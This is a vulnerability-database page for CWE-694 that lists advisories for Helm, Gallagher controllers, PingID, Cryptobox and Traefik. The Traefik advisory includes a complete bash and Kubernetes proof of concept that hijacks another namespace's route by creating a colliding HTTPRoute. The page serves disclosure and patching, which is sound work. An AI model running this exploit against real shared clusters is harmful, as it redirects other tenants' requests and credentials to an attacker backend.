Common Weakness Enumeration

CWE-694

Allowed

Use of Multiple Resources with Duplicate Identifier

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.

20 vulnerabilities reference this CWE, most recent first.

CVE-2020-15185 (GCVE-0-2020-15185)

Vulnerability from cvelistv5 – Published: 2020-09-17 21:30 – Updated: 2024-08-04 13:08
VLAI
Title
Duplicated chart entries in Helm
Summary
In Helm before versions 2.16.11 and 3.3.2, a Helm repository can contain duplicates of the same chart, with the last one always used. If a repository is compromised, this lowers the level of access that an attacker needs to inject a bad chart into a repository. To perform this attack, an attacker must have write access to the index file (which can occur during a MITM attack on a non-SSL connection). This issue has been patched in Helm 3.3.2 and 2.16.11. A possible workaround is to manually review the index file in the Helm repository cache before installing software.
Severity
2.2 (Low)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N
CWE
  • CWE-694 - {"CWE-694":"Use of Multiple Resources with Duplicate Identifier"}
  • CWE-74 - {"CWE-74":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')"}
Assigner
References
Impacted products
Vendor Product Version
helm helm Affected: >= 2.0.0, < 2.16.11
Affected: >= 3.0.0, < 3.3.2
Create a notification for this product.
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T13:08:22.474Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/helm/helm/security/advisories/GHSA-jm56-5h66-w453"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/helm/helm/commit/055dd41cbe53ce131ab0357524a7f6729e6e40dc"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "helm",
          "vendor": "helm",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c 2.16.11"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.3.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In Helm before versions 2.16.11 and 3.3.2, a Helm repository can contain duplicates of the same chart, with the last one always used. If a repository is compromised, this lowers the level of access that an attacker needs to inject a bad chart into a repository. To perform this attack, an attacker must have write access to the index file (which can occur during a MITM attack on a non-SSL connection). This issue has been patched in Helm 3.3.2 and 2.16.11. A possible workaround is to manually review the index file in the Helm repository cache before installing software."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 2.2,
            "baseSeverity": "LOW",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-694",
              "description": "{\"CWE-694\":\"Use of Multiple Resources with Duplicate Identifier\"}",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-74",
              "description": "{\"CWE-74\":\"Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)\"}",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2020-09-17T21:30:13.000Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/helm/helm/security/advisories/GHSA-jm56-5h66-w453"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/helm/helm/commit/055dd41cbe53ce131ab0357524a7f6729e6e40dc"
        }
      ],
      "source": {
        "advisory": "GHSA-jm56-5h66-w453",
        "discovery": "UNKNOWN"
      },
      "title": "Duplicated chart entries in Helm",
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "security-advisories@github.com",
          "ID": "CVE-2020-15185",
          "STATE": "PUBLIC",
          "TITLE": "Duplicated chart entries in Helm"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "helm",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "\u003e= 2.0.0, \u003c 2.16.11"
                          },
                          {
                            "version_value": "\u003e= 3.0.0, \u003c 3.3.2"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "helm"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "In Helm before versions 2.16.11 and 3.3.2, a Helm repository can contain duplicates of the same chart, with the last one always used. If a repository is compromised, this lowers the level of access that an attacker needs to inject a bad chart into a repository. To perform this attack, an attacker must have write access to the index file (which can occur during a MITM attack on a non-SSL connection). This issue has been patched in Helm 3.3.2 and 2.16.11. A possible workaround is to manually review the index file in the Helm repository cache before installing software."
            }
          ]
        },
        "impact": {
          "cvss": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 2.2,
            "baseSeverity": "LOW",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "{\"CWE-694\":\"Use of Multiple Resources with Duplicate Identifier\"}"
                }
              ]
            },
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "{\"CWE-74\":\"Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)\"}"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://github.com/helm/helm/security/advisories/GHSA-jm56-5h66-w453",
              "refsource": "CONFIRM",
              "url": "https://github.com/helm/helm/security/advisories/GHSA-jm56-5h66-w453"
            },
            {
              "name": "https://github.com/helm/helm/commit/055dd41cbe53ce131ab0357524a7f6729e6e40dc",
              "refsource": "MISC",
              "url": "https://github.com/helm/helm/commit/055dd41cbe53ce131ab0357524a7f6729e6e40dc"
            }
          ]
        },
        "source": {
          "advisory": "GHSA-jm56-5h66-w453",
          "discovery": "UNKNOWN"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2020-15185",
    "datePublished": "2020-09-17T21:30:13.000Z",
    "dateReserved": "2020-06-25T00:00:00.000Z",
    "dateUpdated": "2024-08-04T13:08:22.474Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-4588-XX8P-CH9Q

Vulnerability from github – Published: 2024-12-12 03:33 – Updated: 2024-12-12 03:33
VLAI
Details

Use of Multiple Resources with Duplicate Identifier (CWE-694) in the Controller 6000 and Controller 7000 Platforms could allow an attacker with physical access to HBUS communication cabling to perform a Denial-of-Service attack against HBUS connected devices, require a device reboot to resolve.

This issue affects: Controller 6000 and Controller 7000 firmware versions 9.10 prior to vCR9.10.241108a (distributed in 9.10.2149 (MR4)), 9.00 prior to vCR9.00.241108a (distributed in 9.00.2374 (MR5)), 8.90 prior to vCR8.90.241107a (distributed in 8.90.2356 (MR6)), all versions of 8.80 and prior.

Severity
4.6 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-41146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-694"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-12T02:15:22Z",
    "severity": "MODERATE"
  },
  "details": "Use of Multiple Resources with Duplicate Identifier (CWE-694) in the Controller 6000 and Controller 7000 Platforms could allow an attacker with physical access to HBUS communication cabling to perform a Denial-of-Service attack against HBUS connected devices, require a device reboot to resolve. \n\nThis issue affects:\u00a0Controller 6000 and Controller 7000 firmware versions 9.10 prior to vCR9.10.241108a (distributed in 9.10.2149 (MR4)), 9.00 prior to vCR9.00.241108a (distributed in 9.00.2374 (MR5)), 8.90 prior to vCR8.90.241107a (distributed in 8.90.2356 (MR6)),\u00a0all versions of 8.80 and prior.",
  "id": "GHSA-4588-xx8p-ch9q",
  "modified": "2024-12-12T03:33:06Z",
  "published": "2024-12-12T03:33:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41146"
    },
    {
      "type": "WEB",
      "url": "https://security.gallagher.com/en-NZ/Security-Advisories/CVE-2024-41146"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5Q72-4WHC-C2W5

Vulnerability from github – Published: 2023-04-25 21:30 – Updated: 2024-04-04 03:40
VLAI
Details

PingID integration for Windows login prior to 2.9 does not handle duplicate usernames, which can lead to a username collision when two people with the same username are provisioned onto the same machine at different times.

Severity
3.8 (Low)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-23721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-694",
      "CWE-74"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-25T19:15:10Z",
    "severity": "LOW"
  },
  "details": "PingID integration for Windows login prior to 2.9 does not handle duplicate usernames, which can lead to a username collision when two people with the same username are provisioned onto the same machine at different times.",
  "id": "GHSA-5q72-4whc-c2w5",
  "modified": "2024-04-04T03:40:52Z",
  "published": "2023-04-25T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23721"
    },
    {
      "type": "WEB",
      "url": "https://docs.pingidentity.com/r/en-us/pingid/davinci_pingid_windows_login_relnotes_2.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C52F-PQ47-2R9J

Vulnerability from github – Published: 2021-05-24 16:57 – Updated: 2025-05-29 22:59
VLAI
Summary
plugin.yaml file allows for duplicate entries in helm
Details

Impact

During a security audit of Helm's code base, Helm maintainers identified a bug in which a Helm plugin can contain duplicates of the same entry, with the last one always used. If a plugin is compromised, this lowers the level of access that an attacker needs to modify a plugin's install hooks, causing a local execution attack.

To perform this attack, an attacker must have write access to the git repository or plugin archive (.tgz) while being downloaded (which can occur during a MITM attack on a non-SSL connection).

Patches

This issue has been patched in Helm 2.16.11 and Helm 3.3.2.

Workarounds

Make sure to install plugins using a secure connection protocol like SSL.

Severity
3.0 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "helm.sh/helm/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "helm.sh/helm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.16.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-15187"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-694",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-24T12:56:32Z",
    "nvd_published_at": "2020-09-17T22:15:00Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nDuring a security audit of Helm\u0027s code base, Helm maintainers identified a bug in which a Helm plugin can contain duplicates of the same entry, with the last one always used. If a plugin is compromised, this lowers the level of access that an attacker needs to modify a plugin\u0027s install hooks, causing a local execution attack.\n\nTo perform this attack, an attacker must have write access to the git repository or plugin archive (.tgz) while being downloaded (which can occur during a MITM attack on a non-SSL connection).\n\n### Patches\n\nThis issue has been patched in Helm 2.16.11 and Helm 3.3.2.\n\n### Workarounds\n\nMake sure to install plugins using a secure connection protocol like SSL.",
  "id": "GHSA-c52f-pq47-2r9j",
  "modified": "2025-05-29T22:59:16Z",
  "published": "2021-05-24T16:57:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/security/advisories/GHSA-c52f-pq47-2r9j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/commit/6aab63765f99050b115f0aec3d6350c85e8da946"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/commit/ac7c07c37d87e09797f714fb57aa5e9cb99d9450"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/commit/b0296c0522e837d65f944beefa3fb64fd08ac304"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/commit/c8d6b01d72c9604e43ee70d0d78fadd54c2d8499"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/commit/d9ef5ce8bad512e325390c0011be1244b8380e4b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helm/helm/commit/f2ede29480b507b7d8bb152dd8b6b86248b00658"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/helm/helm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "plugin.yaml file allows for duplicate entries in helm"
}

GHSA-F82C-VJ6W-XX38

Vulnerability from github – Published: 2026-04-28 21:36 – Updated: 2026-04-28 21:36
VLAI
Details

A vulnerability affecting the detailed versions of Cryptobox allows a legitimate user to prevent another to login by triggering an account lockout via sending a specially crafted request.

Severity
4.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5794"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-694"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-28T19:37:47Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability affecting the detailed versions of\u00a0Cryptobox allows a legitimate user to prevent another to login by triggering an account lockout via sending a specially crafted request.",
  "id": "GHSA-f82c-vj6w-xx38",
  "modified": "2026-04-28T21:36:14Z",
  "published": "2026-04-28T21:36:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5794"
    },
    {
      "type": "WEB",
      "url": "https://info.cryptobox.com/doc/v4.40/4.40.en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FGJJ-PX3W-67XX

Vulnerability from github – Published: 2026-08-06 16:38 – Updated: 2026-08-06 16:38
VLAI
Summary
Traefik: Gateway API route identity collision allows cross-namespace backend hijacking
Details

Summary

There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for HTTPRoute, GRPCRoute, TCPRoute and TLSRoute objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.6.25
  • https://github.com/traefik/traefik/releases/tag/v3.7.10

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ## Summary Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective. For example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend. The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules. ## Details The HTTPRoute provider creates a route key as follows: 
routeKey := provider.Normalize(fmt.Sprintf(
    "%s-%s-%s-gw-%s-%s-ep-%s-%d",
    strings.ToLower(kindHTTPRoute),
    route.Namespace,
    route.Name,
    gatewayNamespace,
    gatewayName,
    listener.EPName,
    ri,
))
`Normalize` replaces non-alphanumeric runs with `-`, but it does not encode field lengths or otherwise preserve component boundaries: 
func Normalize(name string) string {
    fargs := func(c rune) bool {
        return !unicode.IsLetter(c) && !unicode.IsNumber(c)
    }
    return strings.Join(strings.FieldsFunc(name, fargs), "-")
}
These distinct objects therefore have the same normalized key: 
namespace=team,   route=a-app
namespace=team-a, route=app

httproute-team-a-app-gw-gateway-shared-ep-web-0
`makeRouterName` adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity. Each Route is built into a temporary configuration and then merged into the provider-wide configuration with `maps.Copy`: 
maps.Copy(to.HTTP.Routers, from.HTTP.Routers)
maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares)
maps.Copy(to.HTTP.Services, from.HTTP.Services)
maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)
`maps.Copy` replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path. ### Attack prerequisites The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace. ## Proof of Concept Prerequisites: - a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs; - `kubectl` configured for that cluster; - curl; - local TCP port 18080 available. The following script embeds all objects used by the reproduction. It runs the official `traefik:v3.7.8` image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request. 
#!/usr/bin/env bash
set -euo pipefail

kubectl apply -f - <<'YAML'
apiVersion: v1
kind: Namespace
metadata:
  name: gateway
---
apiVersion: v1
kind: Namespace
metadata:
  name: team
---
apiVersion: v1
kind: Namespace
metadata:
  name: team-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: traefik-audit
  namespace: gateway
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: traefik-route-collision-lab
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: traefik-audit
  namespace: gateway
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: traefik-audit
  namespace: gateway
spec:
  replicas: 1
  selector:
    matchLabels:
      app: traefik-audit
  template:
    metadata:
      labels:
        app: traefik-audit
    spec:
      serviceAccountName: traefik-audit
      containers:
      - name: traefik
        image: traefik:v3.7.8
        args:
        - --entryPoints.web.address=:8000
        - --providers.kubernetesgateway=true
        - --global.checkNewVersion=false
        - --global.sendAnonymousUsage=false
        - --log.level=ERROR
        ports:
        - name: web
          containerPort: 8000
---
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: traefik-route-collision-lab
spec:
  controllerName: traefik.io/gateway-controller
---
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: shared
  namespace: gateway
spec:
  gatewayClassName: traefik-route-collision-lab
  listeners:
  - name: web
    protocol: HTTP
    port: 8000
    allowedRoutes:
      namespaces:
        from: All
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: victim
  namespace: team
spec:
  replicas: 1
  selector:
    matchLabels:
      app: victim
  template:
    metadata:
      labels:
        app: victim
    spec:
      containers:
      - name: echo
        image: hashicorp/http-echo:1.0.0
        args: ["-listen=:5678", "-text=VICTIM_BACKEND"]
        ports:
        - containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: team
spec:
  selector:
    app: victim
  ports:
  - port: 80
    targetPort: 5678
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: a-app
  namespace: team
spec:
  parentRefs:
  - name: shared
    namespace: gateway
  hostnames: ["collision.example"]
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: backend
      port: 80
YAML

kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s
kubectl -n team rollout status deployment/victim --timeout=120s

kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \
  >/dev/null 2>&1 &
PORT_FORWARD_PID=$!
trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT

for _ in $(seq 1 60); do
  RESPONSE=$(curl -sS -H 'Host: collision.example' \
    http://127.0.0.1:18080/ 2>/dev/null || true)
  if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then
    break
  fi
  sleep 1
done
printf 'before collision: %s\n' "$RESPONSE"

sleep 2

kubectl apply -f - <<'YAML'
apiVersion: apps/v1
kind: Deployment
metadata:
  name: attacker
  namespace: team-a
spec:
  replicas: 1
  selector:
    matchLabels:
      app: attacker
  template:
    metadata:
      labels:
        app: attacker
    spec:
      containers:
      - name: echo
        image: hashicorp/http-echo:1.0.0
        args: ["-listen=:5678", "-text=ATTACKER_BACKEND"]
        ports:
        - containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: team-a
spec:
  selector:
    app: attacker
  ports:
  - port: 80
    targetPort: 5678
YAML

kubectl -n team-a rollout status deployment/attacker --timeout=120s

kubectl apply -f - <<'YAML'
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: app
  namespace: team-a
spec:
  parentRefs:
  - name: shared
    namespace: gateway
  hostnames: ["collision.example"]
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: backend
      port: 80
YAML

for _ in $(seq 1 60); do
  RESPONSE=$(curl -sS -H 'Host: collision.example' \
    http://127.0.0.1:18080/ 2>/dev/null || true)
  if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then
    break
  fi
  sleep 1
done
printf 'after collision:  %s\n' "$RESPONSE"

kubectl get httproute -A --sort-by=.metadata.creationTimestamp
Expected output on v3.7.8: 
before collision: VICTIM_BACKEND
after collision:  ATTACKER_BACKEND
NAMESPACE   NAME    HOSTNAMES
team        a-app   ["collision.example"]
team-a      app     ["collision.example"]
The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster. The release archive had SHA-256 `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`. ## Impact In a shared Gateway deployment, a Route author can hijack requests belonging to another namespace when the object names admit a collision. Requests, credentials, authorization headers, and response data can be delivered to an attacker-controlled backend. The attacker can also return forged application content or accept state-changing requests intended for the victim. The favorable naming relationship and accepted shared Gateway are reflected in the high attack-complexity rating.
Severity
8.2 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.6.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-694"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T16:38:18Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace\u0027s traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.25\n- https://github.com/traefik/traefik/releases/tag/v3.7.10\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes Gateway provider constructs internal HTTPRoute and\nGRPCRoute identities by concatenating namespace, route name, Gateway identity,\nentrypoint, and rule index with hyphens. Kubernetes names may themselves\ncontain hyphens, so the construction is not injective.\n\nFor example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same\nGateway with the same match rule, produce identical router and service keys.\nDuring configuration merging, the route loaded later overwrites the earlier\nroute\u0027s maps. A tenant that can create an accepted Route in a colliding\nnamespace/name combination can therefore redirect another namespace\u0027s\ntraffic to an attacker-controlled backend.\n\nThe official v3.7.8 binary was reproduced returning the victim backend before\nthe second Route was created and the attacker backend immediately afterward.\nThe victim Route had the earlier creation timestamp and should win the\nequivalent-match conflict under Gateway API precedence rules.\n\n## Details\n\nThe HTTPRoute provider creates a route key as follows:\n\n```go\nrouteKey := provider.Normalize(fmt.Sprintf(\n\t\"%s-%s-%s-gw-%s-%s-ep-%s-%d\",\n\tstrings.ToLower(kindHTTPRoute),\n\troute.Namespace,\n\troute.Name,\n\tgatewayNamespace,\n\tgatewayName,\n\tlistener.EPName,\n\tri,\n))\n```\n\n`Normalize` replaces non-alphanumeric runs with `-`, but it does not encode\nfield lengths or otherwise preserve component boundaries:\n\n```go\nfunc Normalize(name string) string {\n\tfargs := func(c rune) bool {\n\t\treturn !unicode.IsLetter(c) \u0026\u0026 !unicode.IsNumber(c)\n\t}\n\treturn strings.Join(strings.FieldsFunc(name, fargs), \"-\")\n}\n```\n\nThese distinct objects therefore have the same normalized key:\n\n```text\nnamespace=team,   route=a-app\nnamespace=team-a, route=app\n\nhttproute-team-a-app-gw-gateway-shared-ep-web-0\n```\n\n`makeRouterName` adds a hash of the routing rule. When the attacker copies the\nvictim\u0027s hostname and path, that hash is also identical. Child service and\nmiddleware names are derived from the same parent identity.\n\nEach Route is built into a temporary configuration and then merged into the\nprovider-wide configuration with `maps.Copy`:\n\n```go\nmaps.Copy(to.HTTP.Routers, from.HTTP.Routers)\nmaps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares)\nmaps.Copy(to.HTTP.Services, from.HTTP.Services)\nmaps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)\n```\n\n`maps.Copy` replaces an existing value for a duplicate key. No collision is\nreported, and the resulting router points to the later Route\u0027s backend. The\nGRPCRoute implementation uses the same delimiter-free route-key format and\nthe same HTTP configuration merge path.\n\n### Attack prerequisites\n\nThe attacker needs permission to create or modify an HTTPRoute or GRPCRoute\nthat the shared Gateway accepts. Exploitation also requires namespace and\nRoute names whose concatenation collides with a victim. The attacker does not\nneed permission to read or modify the victim Route, Service, or namespace.\n\n## Proof of Concept\n\nPrerequisites:\n\n- a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs;\n- `kubectl` configured for that cluster;\n- curl;\n- local TCP port 18080 available.\n\nThe following script embeds all objects used by the reproduction. It runs the\nofficial `traefik:v3.7.8` image, creates the victim Route first, verifies the\nvictim backend, then creates the colliding attacker Route and repeats the\nrequest.\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nkubectl apply -f - \u003c\u003c\u0027YAML\u0027\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: gateway\n---\napiVersion: v1\nkind: Namespace\nmetadata:\n  